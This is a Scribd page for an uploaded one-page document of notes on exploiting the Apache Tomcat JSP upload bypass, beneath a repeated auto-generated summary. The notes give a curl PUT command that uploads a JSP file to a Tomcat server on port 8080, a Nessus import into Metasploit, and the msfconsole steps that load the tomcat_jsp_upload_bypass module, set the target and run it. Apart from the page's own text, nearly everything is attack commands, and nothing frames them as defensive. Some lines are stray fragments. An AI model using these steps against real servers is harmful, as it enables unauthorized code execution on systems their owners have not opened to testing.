Scribd Logo
Upload

Welcome to Scribd!

  • META

    Uploaded by

    Yulian Sani
    15 views1 page
    This document provides instructions for exploiting a vulnerability in Apache Tomcat that allows uploading JSP files to bypass configured restrictions. It includes curl commands to upload a test JSP file to the Tomcat server on port 8080, references to Metasploit modules for the exploit including its ID and how to use it to target specific versions after importing the required database, and commands to set options and trigger the exploit.

    Original Description:

    Original Title

    META.docx

    Copyright

    © © All Rights Reserved

    Available Formats

    DOCX, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Report this Document
    This document provides instructions for exploiting a vulnerability in Apache Tomcat that allows uploading JSP files to bypass configured restrictions. It includes curl commands to upload a test JSP file to the Tomcat server on port 8080, references to Metasploit modules for the exploit including its ID and how to use it to target specific versions after importing the required database, and commands to set options and trigger the exploit.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    15 views1 page

    META

    Uploaded by

    Yulian Sani
    This document provides instructions for exploiting a vulnerability in Apache Tomcat that allows uploading JSP files to bypass configured restrictions. It includes curl commands to upload a test JSP file to the Tomcat server on port 8080, references to Metasploit modules for the exploit including its ID and how to use it to target specific versions after importing the required database, and commands to set options and trigger the exploit.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    of 1

    https://www.rapid7.

    com/db/modules/exploit/multi/http/tomcat_jsp_upload_bypass

    curl -X PUT http://192.168.0.1:8080/pentest/exploit.jsp/ -d @- < test.jsp

    Java Port 2001

    9999

    msf > db_import Desktop/5152.nessus

    exploit/multi/http/tomcat_jsp_upload_bypass

    msf > use exploit/multi/http/tomcat_jsp_upload_bypass


    msf exploit(tomcat_jsp_upload_bypass) > show targets
    ...targets...
    msf exploit(tomcat_jsp_upload_bypass) > set TARGET <target-id>
    msf exploit(tomcat_jsp_upload_bypass) > show options
    ...show and set options...
    msf exploit(tomcat_jsp_upload_bypass) > exploit

    You might also like